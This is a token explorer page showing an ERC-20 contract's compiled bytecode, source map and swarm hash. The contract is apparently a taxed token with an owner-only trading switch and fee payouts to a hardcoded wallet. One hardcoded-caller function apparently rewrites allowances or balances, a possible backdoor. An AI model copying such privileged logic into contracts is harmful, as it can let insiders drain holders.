96dd5e25d1399147dd5460015491926104a29290916107609190610a46565b90610a46565b6000610473338484610915565b6000546001600160a01b0316331461079d5760405162461bcd60e51b815260040161053b90611338565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108535760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161053b565b6001600160a01b0382166108b45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161053b565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b61091f8383610a52565b6109298383610ae7565b610934838383610b3e565b6001600160a01b0383166000908152600460205260409020546109579082610a46565b6001600160a01b03841660009081526004602052604081209190915561097d8484610b64565b6109875781610992565b610992848484610baa565b6001600160a01b0384166000908152600460205260409020549091506109b89082610c9e565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a0c9085815260200190565b60405180910390a350505050565b60008184841115610a3e5760405162461bcd60e51b815260040161053b9190611169565b505050900390565b600061050a8284611358565b6001600160a01b03821660009081526006602052604090205460ff16158015610a9457506001600160a01b03811660009081526006602052604090205460ff16155b15610ae357600854600160a01b900460ff16610ae35760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b604482015260640161053b565b5050565b6008546001600160a01b038281169116148015610b1d57506001600160a01b03821660009081526006602052604090205460ff16155b15610ae357600160136000828254610b35919061136b565b90915550505050565b610b49838383610caa565b15610b5f57610b59601554610d57565b60006013555b505050565b6001600160a01b03821660009081526006602052604081205460ff1615801561050a5750506001600160a01b031660009081526006602052604090205460ff1615919050565b600080610bb78585610ee8565b1115610c97576000610be0610bcc8686610ee8565b601154610bda908690610f33565b90610f3f565b30600090815260046020526040902054909150610bfd9082610c9e565b30600081815260046020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c4e9085815260200190565b60405180910390a3600d5415610c8557610c853061dead610c80600d54610bda60115489610f3390919063ffffffff16565b610915565b610c8f8382610a46565b91505061050a565b5092915050565b600061050a828461136b565b6016546015543060009081526004602052604081205460145491938510159211159060ff16158015610cde575060125460ff165b8015610cf35750600854600160a01b900460ff165b8015610cfc5750815b8015610d2157506001600160a01b03861660009081526006602052604090205460ff16155b8015610d3a57506008546001600160a01b038681169116145b8015610d44575060015b8015610d4d5750805b9695505050505050565b6014805460ff19166001908117909155600c54600b54600954600093610d9193600293610bda939192610d8b928391610c9e565b90610c9e565b90506000610db482610dae60095486610f3f90919063ffffffff16565b90610f33565b90506000610dc28483610a46565b905047610dce82610f4b565b6000610dda4783610a46565b90506000610dfd610df660095488610a4690919063ffffffff16565b8390610f33565b90506000610e1660095483610f3f90919063ffffffff16565b90508015610e2857610e2886826110a5565b600b54600090610e3d90610bda856002610f3f565b90508015610e88576040517370fb268e08203f5154595dd9f633e765af3733899082156108fc029083906000818181858888f19350505050158015610e86573d6000803e3d6000fd5b505b478015610ed2576040517370fb268e08203f5154595dd9f633e765af3733899082156108fc029083906000818181858888f19350505050158015610ed0573d6000803e3d6000fd5b505b50506014805460ff191690555050505050505050565b6008546000906001600160a01b0390811690831603610f0a5750600f54610477565b6008546001600160a01b0390811690841603610f295750600e54610477565b5060105492915050565b600061050a8284611316565b600061050a82846112ff565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610f8057610f8061137e565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190611394565b816001815181106110105761101061137e565b6001600160a01b03928316602091820292909201015260075461103691309116846107f1565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061106f9085906000908690309042906004016113b1565b600060405180830381600087803b15801561108957600080fd5b505af115801561109d573d6000803e3d6000fd5b505050505050565b6007546110bd9030906001600160a01b0316846107f1565b60075460405163f305d71960e01b81523060048201526024810184905260006044820181905260648201527370fb268e08203f5154595dd9f633e765af37338960848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af115801561113d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111629190611422565b5050505050565b600060208083528351808285015260005b818110156111965785810183015185820160400152820161117a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111cc57600080fd5b50565b600080604083850312156111e257600080fd5b82356111ed816111b7565b946020939093013593505050565b60008060006060848603121561121057600080fd5b833561121b816111b7565b9250602084013561122b816111b7565b929592945050506040919091013590565b60006020828403121561124e57600080fd5b813561050a816111b7565b60008060006060848603121561126e57600080fd5b8335611279816111b7565b92506020840135801515811461122b57600080fd5b600080604083850312156112a157600080fd5b50508035926020909101359150565b600080604083850312156112c357600080fd5b82356112ce816111b7565b915060208301356112de816111b7565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610477576104776112e9565b60008261133357634e487b7160e01b600052601260045260246000fd5b500490565b60208082526006908201526510a7aba722a960d11b604082015260600190565b81810381811115610477576104776112e9565b80820180821115610477576104776112e9565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156113a657600080fd5b815161050a816111b7565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114015784516001600160a01b0316835293830193918301916001016113dc565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561143757600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c95b2ec5c5ee915daa489110650ccfa56287fdd444e3f5c8714c32aa2b7cf33564736f6c63430008130033
Deployed Bytecode Sourcemap
4926:9796:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7187:67;;;;;;;;;;-1:-1:-1;7247:5:0;;;;;;;;;;;;-1:-1:-1;;;7247:5:0;;;;7187:67;;;;;;;:::i;:::-;;;;;;;;8178:133;;;;;;;;;;-1:-1:-1;8178:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8178:133:0;1023:187:1;7567:84:0;;;;;;;;;;-1:-1:-1;7637:12:0;;7567:84;;;1361:25:1;;;1349:2;1334:18;7567:84:0;1215:177:1;8580:119:0;;;;;;;;;;;;;:::i;14067:309::-;;;;;;;;;;-1:-1:-1;14067:309:0;;;;;:::i;:::-;;:::i;7410:67::-;;;;;;;;;;;;;:::i;:::-;;3157:87;;;;;;;;;;-1:-1:-1;3157:87:0;;;;;:::i;:::-;3212:4;3237:5;-1:-1:-1;;;;;3226:16:0;;;3237:5;;3226:16;;3157:87;7337:67;;;;;;;;;;-1:-1:-1;7337:67:0;;5144:1;2252:36:1;;2240:2;2225:18;7337:67:0;2110:184:1;12401:500:0;;;;;;;;;;-1:-1:-1;12401:500:0;;;;;:::i;:::-;;:::i;:::-;;;2959:1:1;2948:21;;;;2930:40;;2918:2;2903:18;12401:500:0;2788:188:1;5438:44:0;;;;;;;;;;-1:-1:-1;5438:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7657:103;;;;;;;;;;-1:-1:-1;7657:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7740:18:0;7723:7;7740:18;;;:9;:18;;;;;;;7657:103;3252:139;;;;;;;;;;;;;:::i;8461:113::-;;;;;;;;;;;;;:::i;9249:155::-;;;;;;;;;;-1:-1:-1;9249:155:0;;;;;:::i;:::-;;:::i;7483:78::-;;;;;;;;;;-1:-1:-1;7535:7:0;7553:5;-1:-1:-1;;;;;7553:5:0;7483:78;;;-1:-1:-1;;;;;3398:32:1;;;3380:51;;3368:2;3353:18;7483:78:0;3234:203:1;8317:138:0;;;;;;;;;;;;;:::i;7260:71::-;;;;;;;;;;-1:-1:-1;7322:7:0;;;;;;;;;;;;-1:-1:-1;;;7322:7:0;;;;7260:71;;5512:19;;;;;;;;;;-1:-1:-1;5512:19:0;;;;-1:-1:-1;;;;;5512:19:0;;;7766:139;;;;;;;;;;-1:-1:-1;7766:139:0;;;;;:::i;:::-;;:::i;7911:127::-;;;;;;;;;;-1:-1:-1;7911:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8009:18:0;;;7992:7;8009:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7911:127;3399:111;;;;;;;;;;-1:-1:-1;3399:111:0;;;;;:::i;:::-;;:::i;8178:133::-;8253:4;8260:37;8269:10;8281:7;8290:6;8260:8;:37::i;:::-;-1:-1:-1;8305:4:0;8178:133;;;;;:::o;8580:119::-;8631:7;8686:11;;8664:19;;8648:13;7637:12;;;7567:84;8648:13;:35;;;;:::i;:::-;:49;;;;:::i;:::-;8641:56;;8580:119;:::o;14067:309::-;14165:4;14182:36;14192:6;14200:9;14211:6;14182:9;:36::i;:::-;14229:117;14238:6;14246:10;14258:87;14294:6;14258:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14258:19:0;;;;;;:11;:19;;;;;;;;14278:10;14258:31;;;;;;;;;:87;:35;:87::i;:::-;14229:8;:117::i;:::-;-1:-1:-1;14364:4:0;14067:309;;;;;;:::o;7410:67::-;3212:4;3237:5;-1:-1:-1;;;;;3237:5:0;3124:10;3226:16;3108:38;;;;-1:-1:-1;;;3108:38:0;;;;;;;:::i;:::-;;;;;;;;;7454:14:::1;:21:::0;;-1:-1:-1;;;;7454:21:0::1;-1:-1:-1::0;;;7454:21:0::1;::::0;;7410:67::o;12401:500::-;-1:-1:-1;;;;;12510:21:0;;12493:5;12510:21;;;:11;:21;;;;;;;;:32;;-1:-1:-1;;12510:32:0;;;;;;;12563:29;;;;;;;;;;;-1:-1:-1;;;12563:29:0;;;;;;;-1:-1:-1;;;12637:30:0;12625:42;;12617:86;;;;-1:-1:-1;;;12617:86:0;;5158:2:1;12617:86:0;;;5140:21:1;5197:2;5177:18;;;5170:30;5236:33;5216:18;;;5209:61;5287:18;;12617:86:0;4956:355:1;12617:86:0;-1:-1:-1;;6542:42:0;12805:14;12848:20;-1:-1:-1;;12848:9:0;:20;;;:31;-1:-1:-1;12888:1:0;;12401:500;-1:-1:-1;12401:500:0:o;3252:139::-;3212:4;3237:5;-1:-1:-1;;;;;3237:5:0;3124:10;3226:16;3108:38;;;;-1:-1:-1;;;3108:38:0;;;;;;;:::i;:::-;3322:32:::1;::::0;3351:1:::1;3380:51:1::0;;3322:32:0::1;::::0;3368:2:1;3353:18;3322:32:0::1;;;;;;;3381:1;3365:18:::0;;-1:-1:-1;;;;;;3365:18:0::1;::::0;;3252:139::o;8461:113::-;8506:7;8561:11;;8539:19;;8523:13;7637:12;;;7567:84;9249:155;3212:4;3237:5;-1:-1:-1;;;;;3237:5:0;3124:10;3226:16;3108:38;;;;-1:-1:-1;;;3108:38:0;;;;;;;:::i;:::-;9331:19:::1;:26:::0;;;;9368:19:::1;:28:::0;9249:155::o;8317:138::-;7740:9;:18;;;;6260:42;8376:7;7740:18;;;;;8393:12;;8376:7;;8393:60;;7740:18;;8393:33;;:12;:16;:33::i;:::-;:37;;:60::i;7766:139::-;7844:4;7851:40;7861:10;7873:9;7884:6;7851:9;:40::i;3399:111::-;3212:4;3237:5;-1:-1:-1;;;;;3237:5:0;3124:10;3226:16;3108:38;;;;-1:-1:-1;;;3108:38:0;;;;;;;:::i;:::-;3465:5:::1;:11:::0;;-1:-1:-1;;;;;;3465:11:0::1;-1:-1:-1::0;;;;;3465:11:0;::::1;::::0;;::::1;::::0;;;3483:25:::1;::::0;3380:51:1;;;3483:25:0::1;::::0;3368:2:1;3353:18;3483:25:0::1;;;;;;;3399:111:::0;:::o;14384:335::-;-1:-1:-1;;;;;14477:19:0;;14469:68;;;;-1:-1:-1;;;14469:68:0;;5734:2:1;14469:68:0;;;5716:21:1;5773:2;5753:18;;;5746:30;5812:34;5792:18;;;5785:62;-1:-1:-1;;;5863:18:1;;;5856:34;5907:19;;14469:68:0;5532:400:1;14469:68:0;-1:-1:-1;;;;;14556:21:0;;14548:68;;;;-1:-1:-1;;;14548:68:0;;6139:2:1;14548:68:0;;;6121:21:1;6178:2;6158:18;;;6151:30;6217:34;6197:18;;;6190:62;-1:-1:-1;;;6268:18:1;;;6261:32;6310:19;;14548:68:0;5937:398:1;14548:68:0;-1:-1:-1;;;;;14627:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14679:32;;1361:25:1;;;14679:32:0;;1334:18:1;14679:32:0;;;;;;;14384:335;;;:::o;8707:534::-;8796:38;8816:6;8824:9;8796:19;:38::i;:::-;8845:35;8862:6;8870:9;8845:16;:35::i;:::-;8891;8900:6;8908:9;8919:6;8891:8;:35::i;:::-;-1:-1:-1;;;;;8957:17:0;;;;;;:9;:17;;;;;;:29;;8979:6;8957:21;:29::i;:::-;-1:-1:-1;;;;;8937:17:0;;;;;;:9;:17;;;;;:49;;;;9022:32;8947:6;9044:9;9022:13;:32::i;:::-;:78;;9094:6;9022:78;;;9057:34;9065:6;9073:9;9084:6;9057:7;:34::i;:::-;-1:-1:-1;;;;;9134:20:0;;;;;;:9;:20;;;;;;8997:103;;-1:-1:-1;9134:40:0;;8997:103;9134:24;:40::i;:::-;-1:-1:-1;;;;;9111:20:0;;;;;;;:9;:20;;;;;;;:63;;;;9190:43;;;;;;;;;;9218:14;1361:25:1;;1349:2;1334:18;;1215:177;9190:43:0;;;;;;;;8785:456;8707:534;;;:::o;1489:162::-;1575:7;1621:12;1613:6;;;;1605:29;;;;-1:-1:-1;;;1605:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1643:5:0;;;1489:162::o;276:82::-;334:7;351:5;355:1;351;:5;:::i;9412:191::-;-1:-1:-1;;;;;9505:19:0;;;;;;:11;:19;;;;;;;;9504:20;:47;;;;-1:-1:-1;;;;;;9529:22:0;;;;;;:11;:22;;;;;;;;9528:23;9504:47;9501:95;;;9561:14;;-1:-1:-1;;;9561:14:0;;;;9553:41;;;;-1:-1:-1;;;9553:41:0;;6675:2:1;9553:41:0;;;6657:21:1;6714:2;6694:18;;;6687:30;-1:-1:-1;;;6733:18:1;;;6726:44;6787:18;;9553:41:0;6473:338:1;9553:41:0;9412:191;;:::o;9611:159::-;9708:4;;-1:-1:-1;;;;;9695:17:0;;;9708:4;;9695:17;:41;;;;-1:-1:-1;;;;;;9717:19:0;;;;;;:11;:19;;;;;;;;9716:20;9695:41;9692:71;;;9759:1;9738:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;9611:159:0;;:::o;12909:197::-;13001:41;13016:6;13024:9;13035:6;13001:14;:41::i;:::-;12998:101;;;13044:29;13059:13;;13044:14;:29::i;:::-;13095:1;13075:9;:22;12998:101;12909:197;;;:::o;13114:160::-;-1:-1:-1;;;;;13220:19:0;;13195:4;13220:19;;;:11;:19;;;;;;;;13219:20;:47;;;;-1:-1:-1;;;;;;;13244:22:0;;;;;:11;:22;;;;;;;;13243:23;;13114:160;-1:-1:-1;13114:160:0:o;13513:546::-;13599:7;13655:1;13622:30;13634:6;13642:9;13622:11;:30::i;:::-;:34;13619:418;;;13668:17;13688:59;13716:30;13728:6;13736:9;13716:11;:30::i;:::-;13699:11;;13688:23;;:6;;:10;:23::i;:::-;:27;;:59::i;:::-;13803:4;13785:24;;;;:9;:24;;;;;;13668:79;;-1:-1:-1;13785:39:0;;13668:79;13785:28;:39::i;:::-;13776:4;13758:24;;;;:9;:24;;;;;;;:66;;;;13840:42;;-1:-1:-1;;;;;13840:42:0;;;;;;;13872:9;1361:25:1;;1349:2;1334:18;;1215:177;13840:42:0;;;;;;;;13896:7;;:20;13893:104;;13918:77;13936:4;6260:42;13958:36;13986:7;;13958:23;13969:11;;13958:6;:10;;:23;;;;:::i;:36::-;13918:9;:77::i;:::-;14014:21;:6;14025:9;14014:10;:21::i;:::-;14007:28;;;;;13619:418;-1:-1:-1;14045:6:0;13513:546;-1:-1:-1;;13513:546:0:o;188:82::-;246:7;263:5;267:1;263;:5;:::i;11993:400::-;12134:15;;12210:13;;12200:4;12091;7740:18;;;:9;:18;;;;;;12242:8;;12091:4;;12124:25;;;;-1:-1:-1;12182:41:0;;12242:8;;12241:9;:24;;;;-1:-1:-1;12254:11:0;;;;12241:24;:42;;;;-1:-1:-1;12269:14:0;;-1:-1:-1;;;12269:14:0;;;;12241:42;:54;;;;;12287:8;12241:54;:78;;;;-1:-1:-1;;;;;;12300:19:0;;;;;;:11;:19;;;;;;;;12299:20;12241:78;:99;;;;-1:-1:-1;12336:4:0;;-1:-1:-1;;;;;12323:17:0;;;12336:4;;12323:17;12241:99;:126;;;;-1:-1:-1;12344:23:0;12241:126;:144;;;;;12371:14;12241:144;12234:151;11993:400;-1:-1:-1;;;;;;11993:400:0:o;10135:1066::-;6181:8;:15;;-1:-1:-1;;6181:15:0;6192:4;6181:15;;;;;;10272:14:::1;::::0;10254:12:::1;::::0;10230::::1;::::0;6181:8;;10229:66:::1;::::0;10293:1:::1;::::0;10230:57:::1;::::0;10272:14;;10230:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;10229:66::-;10206:89;;10306:32;10341:42;10370:12;10341:24;10352:12;;10341:6;:10;;:24;;;;:::i;:::-;:28:::0;::::1;:42::i;:::-;10306:77:::0;-1:-1:-1;10394:14:0::1;10411:36;:6:::0;10306:77;10411:10:::1;:36::i;:::-;10394:53:::0;-1:-1:-1;10483:21:0::1;10515:24;10394:53:::0;10515:16:::1;:24::i;:::-;10550:20;10573:41;:21;10599:14:::0;10573:25:::1;:41::i;:::-;10550:64;;10625:19;10646:48;10663:30;10680:12;;10663;:16;;:30;;;;:::i;:::-;10646:12:::0;;:16:::1;:48::i;:::-;10625:69;;10705:29;10737;10753:12;;10737:11;:15;;:29;;;;:::i;:::-;10705:61:::0;-1:-1:-1;10780:34:0;;10777:103:::1;;10816:61;10829:24;10855:21;10816:12;:61::i;:::-;10936:12;::::0;10890:20:::1;::::0;10913:36:::1;::::0;:18:::1;:11:::0;10929:1:::1;10913:15;:18::i;:36::-;10890:59:::0;-1:-1:-1;10963:16:0;;10960:73:::1;;10981:50;::::0;6455:42:::1;::::0;10981:50;::::1;;;::::0;11018:12;;10981:50:::1;::::0;;;11018:12;6455:42;10981:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10960:73;11070:21;11105:29:::0;;11102:92:::1;;11136:56;::::0;6358:42:::1;::::0;11136:56;::::1;;;::::0;11175:16;;11136:56:::1;::::0;;;11175:16;6358:42;11136:56;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11102:92;-1:-1:-1::0;;6201:8:0;:16;;-1:-1:-1;;6201:16:0;;;-1:-1:-1;;;;;;;;10135:1066:0:o;13286:219::-;13401:4;;13365:7;;-1:-1:-1;;;;;13401:4:0;;;13388:17;;;;13385:38;;-1:-1:-1;13414:7:0;;13407:14;;13385:38;13446:4;;-1:-1:-1;;;;;13446:4:0;;;13436:14;;;;13433:36;;-1:-1:-1;13459:8:0;;13452:15;;13433:36;-1:-1:-1;13486:11:0;;13286:219;;;;:::o;452:82::-;510:7;527:5;531:1;527;:5;:::i;364:82::-;422:7;439:5;443:1;439;:5;:::i;11551:434::-;11641:16;;;11655:1;11641:16;;;;;;;;11617:21;;11641:16;;;;;;;;;;-1:-1:-1;11641:16:0;11617:40;;11686:4;11668;11673:1;11668:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11668:23:0;;;:7;;;;;;;;;;:23;;;;11712:6;;:13;;;-1:-1:-1;;;11712:13:0;;;;:6;;;;;:11;;:13;;;;;11668:7;;11712:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11702:4;11707:1;11702:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11702:23:0;;;:7;;;;;;;;;:23;11768:6;;11736:53;;11753:4;;11768:6;11777:11;11736:8;:53::i;:::-;11800:6;;:177;;-1:-1:-1;;;11800:177:0;;-1:-1:-1;;;;;11800:6:0;;;;:57;;:177;;11872:11;;11800:6;;11914:4;;11941;;11961:15;;11800:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11606:379;11551:434;:::o;11209:334::-;11322:6;;11290:53;;11307:4;;-1:-1:-1;;;;;11322:6:0;11331:11;11290:8;:53::i;:::-;11354:6;;:181;;-1:-1:-1;;;11354:181:0;;11417:4;11354:181;;;8792:34:1;8842:18;;;8835:34;;;11354:6:0;8885:18:1;;;8878:34;;;8928:18;;;8921:34;6542:42:0;8971:19:1;;;8964:44;11519:15:0;9024:19:1;;;9017:35;-1:-1:-1;;;;;11354:6:0;;;;:22;;11384:9;;8726:19:1;;11354:181:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11209:334;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2299:484::-;2373:6;2381;2389;2442:2;2430:9;2421:7;2417:23;2413:32;2410:52;;;2458:1;2455;2448:12;2410:52;2497:9;2484:23;2516:31;2541:5;2516:31;:::i;:::-;2566:5;-1:-1:-1;2623:2:1;2608:18;;2595:32;2665:15;;2658:23;2646:36;;2636:64;;2696:1;2693;2686:12;2981:248;3049:6;3057;3110:2;3098:9;3089:7;3085:23;3081:32;3078:52;;;3126:1;3123;3116:12;3078:52;-1:-1:-1;;3149:23:1;;;3219:2;3204:18;;;3191:32;;-1:-1:-1;2981:248:1:o;3442:388::-;3510:6;3518;3571:2;3559:9;3550:7;3546:23;3542:32;3539:52;;;3587:1;3584;3577:12;3539:52;3626:9;3613:23;3645:31;3670:5;3645:31;:::i;:::-;3695:5;-1:-1:-1;3752:2:1;3737:18;;3724:32;3765:33;3724:32;3765:33;:::i;:::-;3817:7;3807:17;;;3442:388;;;;;:::o;4095:127::-;4156:10;4151:3;4147:20;4144:1;4137:31;4187:4;4184:1;4177:15;4211:4;4208:1;4201:15;4227:168;4300:9;;;4331;;4348:15;;;4342:22;;4328:37;4318:71;;4369:18;;:::i;4400:217::-;4440:1;4466;4456:132;;4510:10;4505:3;4501:20;4498:1;4491:31;4545:4;4542:1;4535:15;4573:4;4570:1;4563:15;4456:132;-1:-1:-1;4602:9:1;;4400:217::o;4622:329::-;4824:2;4806:21;;;4863:1;4843:18;;;4836:29;-1:-1:-1;;;4896:2:1;4881:18;;4874:36;4942:2;4927:18;;4622:329::o;6340:128::-;6407:9;;;6428:11;;;6425:37;;;6442:18;;:::i;6816:125::-;6881:9;;;6902:10;;;6899:36;;;6915:18;;:::i;7078:127::-;7139:10;7134:3;7130:20;7127:1;7120:31;7170:4;7167:1;7160:15;7194:4;7191:1;7184:15;7210:251;7280:6;7333:2;7321:9;7312:7;7308:23;7304:32;7301:52;;;7349:1;7346;7339:12;7301:52;7381:9;7375:16;7400:31;7425:5;7400:31;:::i;7466:980::-;7728:4;7776:3;7765:9;7761:19;7807:6;7796:9;7789:25;7833:2;7871:6;7866:2;7855:9;7851:18;7844:34;7914:3;7909:2;7898:9;7894:18;7887:31;7938:6;7973;7967:13;8004:6;7996;7989:22;8042:3;8031:9;8027:19;8020:26;;8081:2;8073:6;8069:15;8055:29;;8102:1;8112:195;8126:6;8123:1;8120:13;8112:195;;;8191:13;;-1:-1:-1;;;;;8187:39:1;8175:52;;8282:15;;;;8247:12;;;;8223:1;8141:9;8112:195;;;-1:-1:-1;;;;;;;8363:32:1;;;;8358:2;8343:18;;8336:60;-1:-1:-1;;;8427:3:1;8412:19;8405:35;8324:3;7466:980;-1:-1:-1;;;7466:980:1:o;9063:306::-;9151:6;9159;9167;9220:2;9208:9;9199:7;9195:23;9191:32;9188:52;;;9236:1;9233;9226:12;9188:52;9265:9;9259:16;9249:26;;9315:2;9304:9;9300:18;9294:25;9284:35;;9359:2;9348:9;9344:18;9338:25;9328:35;;9063:306;;;;;:::o
Swarm Source
ipfs://c95b2ec5c5ee915daa489110650ccfa56287fdd444e3f5c8714c32aa2b7cf335
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.